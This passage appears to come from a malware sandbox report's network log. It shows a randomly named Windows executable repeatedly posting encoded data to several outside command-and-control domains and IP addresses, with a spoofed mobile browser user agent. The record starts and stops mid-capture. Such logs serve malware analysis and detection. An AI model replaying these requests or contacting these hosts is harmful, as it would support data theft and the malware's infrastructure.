kR8XbB2P=XG0+arhlWzDjPB3+o8evVYVYr1mOABqeLf4cod+yridhPVQQBBF6uOIJZ0ZEhD0IwMLQMONVzH4RGBZ0z0LzS9w5Uo+pqg/CWpk8b7ncvdUoHNaCL8YFCJY3G4sPACZ9EgnTx1RTgKXaL27mipsfJOcTODjNROp2zUlejWPwN8Hw1q08mLOSqglwTS4MpG/QKEkjcNf7r3oXYMcoEifsFyuHH5d0mPIDOdmEdzt0kVnsc8pfcGSUMK2sarrgKHkCjh2M0llD3PsUP2+GT5UVQ1QLY7w3mZOO52nobPfswYvHUvODAHdVrqirSLwPLFj7GGG5eo5uP8nZ3ZQVwMUTWhnYXSoDZCQO5S48VufWTYPYuTCxHv28KiSTZ5JfDfzUJvdISPoIWmXwAJxLvdXK0ZZY6HhSWA6V7zLvR1QAFVw5MgI1Ye2mmNG12rD0VXRzg/T5PkAfFxxCrfVh6TKmyJCYNVmP+VImPgLh3KUqLrCsrvrbhjp8F64yYKW2nCQ6N/sKZ3P62nVAi93mgSOZZO91dqMTQ9j0nTWHNWFJYD49qgyqdQNtlgTj7RBFNfNuNsWk/gVXYj/+EImSvhgurZJa6SC6s87L5uwW1PrKZj2KftHiKWPe+ESsb4IPNSdY+kmmyMICG6F+KYiYHfM+Ee
Jan 10, 2025 23:21:35.037208080 CET	5156	OUT	Data Raw: 4b 5a 34 6e 72 32 6c 37 45 74 57 57 58 65 57 47 54 45 59 6c 79 33 4d 2b 6e 4d 4c 6c 70 56 4d 52 39 57 45 2f 4b 79 36 75 76 58 67 39 61 47 66 64 35 47 5a 46 37 48 44 4b 66 47 6d 72 33 69 74 2b 76 4a 38 49 45 69 69 34 39 48 70 53 7a 31 71 63 5a 6c Data Ascii: KZ4nr2l7EtWWXeWGTEYly3M+nMLlpVMR9WE/Ky6uvXg9aGfd5GZF7HDKfGmr3it+vJ8IEii49HpSz1qcZlwttgVX8LaWpqtn6oOjHkKlNtrhU4SJAOZ3nI/1NDNGtHnP1UzjHeEgI2KgD/kmdvw+bD1SOUe2C1UZv9z8faqsBVyG0VsyfDxWUtYh6rDNhLtGFO58ELep0b4kdDs9M0i73YkVqFfzjNbVYvr8aVtCCkBv9AdSkIo
Jan 10, 2025 23:21:35.037254095 CET	1546	OUT	Data Raw: 74 72 61 67 59 77 77 47 30 6c 62 31 44 43 47 4f 48 73 48 70 41 58 53 4d 32 57 76 2f 59 4b 6d 6c 64 70 73 62 4f 71 51 4f 43 79 2b 35 76 6c 61 4e 64 32 32 4b 4b 6c 35 43 37 65 32 74 54 6f 6b 55 31 6f 37 46 44 4a 78 56 63 6e 64 78 54 64 4a 4d 2f 35 Data Ascii: tragYwwG0lb1DCGOHsHpAXSM2Wv/YKmldpsbOqQOCy+5vlaNd22KKl5C7e2tTokU1o7FDJxVcndxTdJM/5d5JlirBi0U8g1Y8rWvqcG7shnHaEVZX8ge2O9RgF291UV5TMdvof25nc39i/ymSfSyRJlmxJiIuldGfGoYBJqZeWasPpar2KGiD3wI8W1dnST1cZkr1bWYIaDw/fiKzUMTgK2PuhCiH6fcBJbQh5ZJmDhWJ3NvlNQ
Jan 10, 2025 23:21:35.218250036 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:21:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49776	209.74.77.107	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:37.735541105 CET	545	OUT	GET /a6qk/?kR8XbB2P=aEceZcxMCBryYHP4s+yLRqZjj36KEl+8Dq1kpoaXpw1kPmwya2N1upoJGmxyu00sisqpLeUFyGY8IB1P90PsZa04d5WZgg6Sd94nDaj3ysE1HtnwBN18NaQ=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.learnwithus.site Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:21:37.914593935 CET	548	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:21:37 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49777	154.205.159.116	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:43.652839899 CET	810	OUT	POST /ao44/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.jijievo.site Origin: http://www.jijievo.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.jijievo.site/ao44/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 4e 2b 48 32 53 6b 71 44 31 6b 55 35 35 4f 4a 2b 36 75 68 56 57 48 2f 4c 78 2b 7a 33 4b 6a 37 4e 4a 43 53 4e 57 44 75 48 53 75 57 6f 31 43 63 39 44 32 75 35 52 64 35 6c 46 68 2f 6f 67 76 65 48 45 63 76 52 73 5a 45 75 59 73 36 42 79 4b 43 69 79 46 58 51 42 36 79 53 52 6e 54 78 69 75 54 53 46 2b 78 4d 4f 50 52 70 59 33 52 53 62 35 32 41 66 6c 63 30 4c 75 55 37 79 7a 31 31 6d 7a 64 39 76 4c 6d 34 79 51 65 53 41 76 43 46 35 72 73 35 42 79 59 46 70 4b 5a 6c 72 4f 37 47 4f 30 55 33 67 42 4c 4e 56 55 4a 4e 50 69 47 4e 2b 49 65 67 6b 63 4c 43 46 4e 7a 57 59 44 2f 39 6a 77 44 63 4c 77 3d 3d Data Ascii: kR8XbB2P=N+H2SkqD1kU55OJ+6uhVWH/Lx+z3Kj7NJCSNWDuHSuWo1Cc9D2u5Rd5lFh/ogveHEcvRsZEuYs6ByKCiyFXQB6ySRnTxiuTSF+xMOPRpY3RSb52Aflc0LuU7yz11mzd9vLm4yQeSAvCF5rs5ByYFpKZlrO7GO0U3gBLNVUJNPiGN+IegkcLCFNzWYD/9jwDcLw==
Jan 10, 2025 23:21:44.058221102 CET	241	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:21:43 GMT Server: nginx Vary: Accept-Encoding Content-Length: 44 Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49778	154.205.159.116	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:46.536237001 CET	830	OUT	POST /ao44/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.jijievo.site Origin: http://www.jijievo.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.jijievo.site/ao44/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 4e 2b 48 32 53 6b 71 44 31 6b 55 35 72 2b 5a 2b 68 4e 35 56 48 33 2f 4d 39 65 7a 33 46 44 37 52 4a 43 65 4e 57 42 66 41 54 63 79 6f 32 67 45 39 41 33 75 35 66 39 35 6c 4b 42 2f 70 2f 2f 65 36 45 63 54 6a 73 59 34 75 59 73 75 42 79 50 2b 69 79 32 2f 54 41 71 7a 30 65 48 54 7a 6d 75 54 53 46 2b 78 4d 4f 50 45 45 59 33 5a 53 62 49 47 41 4e 55 63 33 43 4f 55 34 37 54 31 31 69 7a 64 35 76 4c 6d 47 79 52 43 6f 41 74 71 46 35 75 51 35 42 6a 59 45 6a 4b 5a 5a 6d 75 36 43 4e 78 74 79 73 79 62 38 53 32 4d 58 56 44 57 35 37 65 54 36 35 75 2f 6d 47 65 76 6b 63 7a 47 56 68 79 43 48 57 35 54 31 63 73 4a 51 58 64 62 46 79 2b 49 52 68 33 37 5a 49 35 67 3d Data Ascii: kR8XbB2P=N+H2SkqD1kU5r+Z+hN5VH3/M9ez3FD7RJCeNWBfATcyo2gE9A3u5f95lKB/p//e6EcTjsY4uYsuByP+iy2/TAqz0eHTzmuTSF+xMOPEEY3ZSbIGANUc3COU47T11izd5vLmGyRCoAtqF5uQ5BjYEjKZZmu6CNxtysyb8S2MXVDW57eT65u/mGevkczGVhyCHW5T1csJQXdbFy+IRh37ZI5g=
Jan 10, 2025 23:21:46.954394102 CET	241	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:21:46 GMT Server: nginx Vary: Accept-Encoding Content-Length: 44 Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49779	154.205.159.116	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:49.432127953 CET	1289	OUT	POST /ao44/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.jijievo.site Origin: http://www.jijievo.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.jijievo.site/ao44/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 4e 2b 48 32 53 6b 71 44 31 6b 55 35 72 2b 5a 2b 68 4e 35 56 48 33 2f 4d 39 65 7a 33 46 44 37 52 4a 43 65 4e 57 42 66 41 54 63 36 6f 32 56 59 39 43 51 36 35 63 39 35 6c 55 52 2f 53 2f 2f 65 64 45 59 48 6e 73 59 30 51 59 75 57 42 6f 71 79 69 37 6e 2f 54 4c 71 7a 30 47 33 54 32 69 75 53 53 46 2b 68 49 4f 50 55 45 59 33 5a 53 62 4b 4f 41 61 56 63 33 45 4f 55 37 79 7a 31 48 6d 7a 63 63 76 4c 76 39 79 52 58 58 41 39 4b 46 34 4f 67 35 44 52 77 45 76 4b 5a 68 68 75 36 6b 4e 78 70 35 73 79 48 61 53 32 4a 79 56 42 32 35 36 66 36 69 73 4d 72 75 45 4d 32 73 63 69 2b 66 6e 55 57 41 66 72 58 36 53 66 5a 66 52 71 69 52 35 39 63 70 31 6e 6a 5a 54 50 55 6d 6c 6a 38 4a 7a 30 76 57 43 74 64 76 70 45 61 2f 73 66 66 79 36 4c 6a 76 41 57 61 6e 36 49 6e 6e 6e 43 54 32 55 71 61 4d 44 68 74 6c 62 66 48 65 65 54 47 6d 6c 32 48 76 4b 65 79 6b 74 72 59 54 73 36 38 56 75 41 71 6a 68 66 32 76 6a 6b 70 68 77 76 6b 77 75 5a 63 51 45 48 59 51 6c 37 2b 68 69 46 6d 76 42 2f 31 69 76 32 4c 45 46 44 42 36 4e [TRUNCATED] Data Ascii: kR8XbB2P=N+H2SkqD1kU5r+Z+hN5VH3/M9ez3FD7RJCeNWBfATc6o2VY9CQ65c95lUR/S//edEYHnsY0QYuWBoqyi7n/TLqz0G3T2iuSSF+hIOPUEY3ZSbKOAaVc3EOU7yz1HmzccvLv9yRXXA9KF4Og5DRwEvKZhhu6kNxp5syHaS2JyVB256f6isMruEM2sci+fnUWAfrX6SfZfRqiR59cp1njZTPUmlj8Jz0vWCtdvpEa/sffy6LjvAWan6InnnCT2UqaMDhtlbfHeeTGml2HvKeyktrYTs68VuAqjhf2vjkphwvkwuZcQEHYQl7+hiFmvB/1iv2LEFDB6NtgE01jpmAaDPRlXLEGXHp9GnJhJRXykavrkRSrySW8RuEF8WHMS043d+R+NVwTvqUxAoUSGAfah0IKz+Ai8t696R7t/2rNniWsYrND+kFjDfLDjq0I3ad7V3qux4c2rWL07ipgA8c86k94ML9tF/DSKXk+THafOgOQeSvSal3HwZWIp8dAxWyAkCJQDYcNhKmUIG01vjnM8lr5Cfasc+CFaXkkr2u5ep0kyS7b3B84KlRXFKDjfhjRtqw5CHpuK/j7axgX1+R6OtfFUZV4FxNilx6rEZhJ9puxwwLBNqBemj9tqIqU+s1hhkuX6I9nZ22VGXCGhf6eMMJjy7rmjBYPVVw
Jan 10, 2025 23:21:49.432177067 CET	1289	OUT	Data Raw: 50 5a 75 6e 2b 41 54 4a 5a 77 6d 55 45 4c 6f 44 64 54 53 4c 4d 6d 6b 33 71 4e 72 7a 2f 52 38 78 6f 79 6a 62 57 69 6d 78 39 38 6a 78 6e 65 43 31 36 52 63 71 32 36 5a 38 46 39 4c 76 77 6e 53 67 6d 32 48 49 52 56 76 6e 32 45 35 38 6a 55 65 4d 44 2b Data Ascii: PZun+ATJZwmUELoDdTSLMmk3qNrz/R8xoyjbWimx98jxneC16Rcq26Z8F9LvwnSgm2HIRVvn2E58jUeMD+xscHwTABKx7LbIBdbwQFZHm53tumdrKovIarg8Tzw86LaYbdzPnnFdq639lF9rgKfQQL27Lnez49gDwSe/elRYwhGr0Vhh+DROQlTR5GX+h+akmURd+uj0i8kQUlrpxSzpGEbq0RvnAkj/NrAnBtGeH5fDFt2+j2i
Jan 10, 2025 23:21:49.432226896 CET	5401	OUT	Data Raw: 33 73 51 34 63 49 30 6a 68 4f 2f 6d 68 4a 6d 70 46 53 43 6e 5a 57 45 57 73 35 61 73 49 4b 77 56 4e 4e 41 30 73 70 62 71 73 68 33 47 4b 54 6d 69 79 53 47 76 34 68 6a 35 49 43 4d 55 79 71 79 36 65 31 43 74 42 33 46 4d 4c 2f 56 64 4b 59 75 6a 4d 50 Data Ascii: 3sQ4cI0jhO/mhJmpFSCnZWEWs5asIKwVNNA0spbqsh3GKTmiySGv4hj5ICMUyqy6e1CtB3FML/VdKYujMP7sFIYtm1cuZuyL1af8HYEbWXiTFNlo52t4esJJJn1VVU6jU43Hlnxlyvzn8UhQg9yntsFuSkymIb8bUN1gj/eWW0DwXPkBN6jFuirs6ZPWqPAoHgzHUqqa3ej56yqF5gSiKgul8KjuNVhtQrDQR3LKZ44cSia8eR5
Jan 10, 2025 23:21:49.861038923 CET	241	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:21:49 GMT Server: nginx Vary: Accept-Encoding Content-Length: 44 Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49780	154.205.159.116	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:52.308671951 CET	541	OUT	GET /ao44/?kR8XbB2P=A8vWRSiUvmcasJ07/NpOWS/H0MqtLTroBnzJfQrGbsug5jYLYHm4CN9bVirMn9O9ScG8tIl9AuaKp46Lw3rsCpOYQ0f4st+AaewtJ/VKFlp1ZaW7QUFsLc4=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.jijievo.site Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:21:52.708398104 CET	197	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:21:52 GMT Server: nginx Vary: Accept-Encoding Content-Length: 24 Connection: close Data Raw: 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: Unable to get connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49781	3.33.130.190	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:58.055119038 CET	834	OUT	POST /nqht/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.likesharecomment.net Origin: http://www.likesharecomment.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.likesharecomment.net/nqht/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 36 34 54 75 6b 6f 45 43 55 6d 49 41 2f 62 52 44 34 4e 2f 36 5a 62 2b 42 33 39 32 2b 41 4c 6d 78 67 58 46 47 73 77 35 35 36 76 6e 48 59 76 49 6f 37 72 74 34 51 53 58 64 67 51 69 62 50 51 45 75 4e 61 52 6f 75 56 2b 36 6c 6a 47 54 79 70 59 6a 4c 57 32 61 47 52 51 70 67 50 37 4a 52 57 78 41 73 6a 6b 64 7a 52 2f 4e 68 58 76 45 65 75 7a 79 32 6c 70 73 6b 50 6f 78 53 46 55 45 6d 4d 6e 6a 35 55 53 31 43 7a 56 6e 6c 69 39 39 6a 68 4c 36 39 6c 33 56 6b 6b 2f 42 78 47 45 50 4f 4f 38 78 38 48 6b 61 38 71 73 49 32 77 6e 6b 30 61 41 57 67 39 75 53 32 67 65 4e 41 32 59 4a 53 6f 70 72 47 51 3d 3d Data Ascii: kR8XbB2P=64TukoECUmIA/bRD4N/6Zb+B392+ALmxgXFGsw556vnHYvIo7rt4QSXdgQibPQEuNaRouV+6ljGTypYjLW2aGRQpgP7JRWxAsjkdzR/NhXvEeuzy2lpskPoxSFUEmMnj5US1CzVnli99jhL69l3Vkk/BxGEPOO8x8Hka8qsI2wnk0aAWg9uS2geNA2YJSoprGQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49782	3.33.130.190	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:00.711960077 CET	854	OUT	POST /nqht/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.likesharecomment.net Origin: http://www.likesharecomment.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.likesharecomment.net/nqht/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 36 34 54 75 6b 6f 45 43 55 6d 49 41 38 37 68 44 30 4f 48 36 52 62 2b 41 72 4e 32 2b 62 62 6d 31 67 58 5a 47 73 78 4d 2b 36 63 44 48 5a 4c 4d 6f 36 71 74 34 58 53 58 64 34 67 69 55 43 77 45 78 4e 61 4d 58 75 51 47 36 6c 6a 43 54 79 74 49 6a 4c 46 65 5a 48 42 51 72 6f 76 37 48 56 57 78 41 73 6a 6b 64 7a 51 61 6d 68 54 44 45 65 2b 6a 79 32 45 70 6a 73 76 6f 79 52 46 55 45 69 4d 6e 2f 35 55 53 44 43 32 4d 4d 6c 67 31 39 6a 68 37 36 36 77 62 57 75 6b 2f 62 2f 6d 45 5a 44 50 56 46 33 6c 4d 56 2f 37 55 78 32 77 6a 65 38 73 4e 4d 39 50 61 32 31 7a 43 2f 45 47 68 68 51 71 6f 77 62 63 69 50 66 37 62 75 51 36 68 69 32 51 68 46 51 35 65 6a 6a 4c 38 3d Data Ascii: kR8XbB2P=64TukoECUmIA87hD0OH6Rb+ArN2+bbm1gXZGsxM+6cDHZLMo6qt4XSXd4giUCwExNaMXuQG6ljCTytIjLFeZHBQrov7HVWxAsjkdzQamhTDEe+jy2EpjsvoyRFUEiMn/5USDC2MMlg19jh766wbWuk/b/mEZDPVF3lMV/7Ux2wje8sNM9Pa21zC/EGhhQqowbciPf7buQ6hi2QhFQ5ejjL8=
Jan 10, 2025 23:22:00.848264933 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49783	3.33.130.190	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:03.367966890 CET	2578	OUT	POST /nqht/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.likesharecomment.net Origin: http://www.likesharecomment.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.likesharecomment.net/nqht/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 36 34 54 75 6b 6f 45 43 55 6d 49 41 38 37 68 44 30 4f 48 36 52 62 2b 41 72 4e 32 2b 62 62 6d 31 67 58 5a 47 73 78 4d 2b 36 63 4c 48 59 34 55 6f 37 4a 56 34 57 53 58 64 6d 51 6a 7a 43 77 46 72 4e 61 56 65 75 51 61 71 6c 68 71 54 7a 4b 67 6a 61 45 65 5a 4d 42 51 72 6b 50 37 4b 52 57 78 52 73 6a 30 52 7a 52 71 6d 68 54 44 45 65 38 72 79 2f 31 70 6a 71 76 6f 78 53 46 55 59 6d 4d 6e 62 35 55 4c 32 43 33 63 36 6d 51 56 39 69 46 58 36 37 43 6a 57 7a 30 2f 64 79 47 46 61 44 50 4a 61 33 6b 68 75 2f 36 51 62 32 7a 7a 65 2b 74 73 7a 76 4e 4b 49 6e 54 36 53 49 55 70 57 62 5a 39 6e 57 73 71 6e 65 4a 54 68 4f 39 30 75 30 6d 68 4a 43 37 53 2b 36 4e 4c 43 45 61 34 6d 6e 34 63 33 4e 52 2f 52 67 41 79 52 75 52 44 70 31 72 57 69 68 38 42 47 42 6d 6f 36 75 32 73 74 34 6f 4e 43 4c 68 46 4d 67 66 51 65 53 46 6e 4c 51 38 43 50 42 57 4c 4b 6a 4c 4c 31 71 78 48 49 33 50 34 59 69 69 41 5a 69 79 2f 42 55 77 37 62 50 48 75 4d 2f 39 46 5a 58 31 71 73 53 57 61 31 6c 4c 63 58 39 57 48 41 69 72 50 54 2b [TRUNCATED] Data Ascii: 